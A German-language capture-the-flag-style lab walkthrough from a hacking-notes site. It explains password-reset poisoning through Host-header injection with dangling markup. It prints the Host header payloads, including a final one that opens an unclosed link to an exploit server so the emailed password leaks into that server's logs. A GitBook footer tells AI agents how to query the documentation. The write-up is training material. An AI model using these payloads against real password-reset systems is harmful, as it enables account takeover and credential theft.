> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# Vergiftung des Passwortzurücksetzens über hängendes Markup

### Passwort-Zurücksetzen-Poisoning mittels Dangling Markup

**Beschreibung des Labs**

Dieses Labor ist anfällig für eine **passwort-zurücksetzen-poisoning mittels Dangling Markup**. / Durch die falsche HTML-Verarbeitung in der Zurücksetzungs-E-Mail ist es möglich, den an einen Benutzer gesendeten Link umzuleiten und sein neues Passwort abzurufen.

**Ziel:** anmelden bei **Carlos' Konto**.

**Anmeldeinformationen bereitgestellt:**

* Benutzer: `wiener`
* Passwort: `peter`

<figure><img src="/files/4c7c0c133e36238cdf3010d82930699beff786a7" alt=""><figcaption></figcaption></figure>

Alle E-Mails können über den E-Mail-Client des Betriebssystems\*\* eingesehen werden.

<figure><img src="/files/f0abf11f2aba7522de7780bf2257541d2c976b4f" alt=""><figcaption></figcaption></figure>

**Erste Beobachtung**

Es ist eine Funktion zum Zurücksetzen des Passworts verfügbar. / Nach der Anfrage wird eine HTML-E-Mail mit folgendem Inhalt gesendet:

{% code overflow="wrap" %}

```http
<p>Hallo!</p><p>Bitte <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>klicken Sie hier</a>, um sich mit Ihrem neuen Passwort anzumelden: AGSoZyzfot</p><p>Danke,<br/>Support-Team</p><i>Diese E-Mail wurde vom MacCarthy Email Security Service gescannt</i>
```

{% endcode %}

Der Verbindungslink wird dynamisch aus dem **Host** Header der Anfrage erstellt.

**Verhaltensanalyse**

Wenn Sie den Host-Header so ändern, dass er einen beliebigen Port enthält:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

Der Port wird in der empfangenen E-Mail korrekt wiedergegeben. / Dies bestätigt, dass der Wert von **Host** ohne strenge Validierung in das HTML der E-Mail eingebettet ist.

<figure><img src="/files/7d95dff8760a31c65d7942e3924d5be2b281d55d" alt=""><figcaption></figcaption></figure>

**Ausnutzung über Dangling Markup**

Anschließend wird ein Host-Wert mit einem Apostroph eingeschleust, wodurch das HTML-Attribut beschädigt wird:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

Der Inhalt wird vom E-Mail-Client interpretiert, was auf eine nutzbare HTML-Injection hinweist.

<figure><img src="/files/3df43c09fdb9d57773d411e1d9b2b15c72f07d28" alt=""><figcaption></figcaption></figure>

**Endgültige Nutzlast**

Dieses Verhalten wird ausgenutzt, indem ein `<a href>` Tag geöffnet wird, ohne ihn ordnungsgemäß zu schließen, sodass der Rest des E-Mail-Inhalts (einschließlich des Passworts) als Teil der URL interpretiert wird:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="/files/c1e9c47a59b4d3eb678e421e6239e11d3ffc94f7" alt=""><figcaption></figcaption></figure>

**Ergebnis**

Wenn die E-Mail generiert und an **carlos**, interpretiert der E-Mail-Client das eingeschleuste HTML. / Das neue Passwort wird dann in die URL eingefügt und automatisch an den laufenden **Server**.

Carlos' Passwort wird aus den Serverprotokollen abgerufen, wodurch Sie sich bei seinem Konto anmelden und das Lab abschließen können.

<figure><img src="/files/88e205303cf61e8395d1f2a21c08d676b4083a5c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
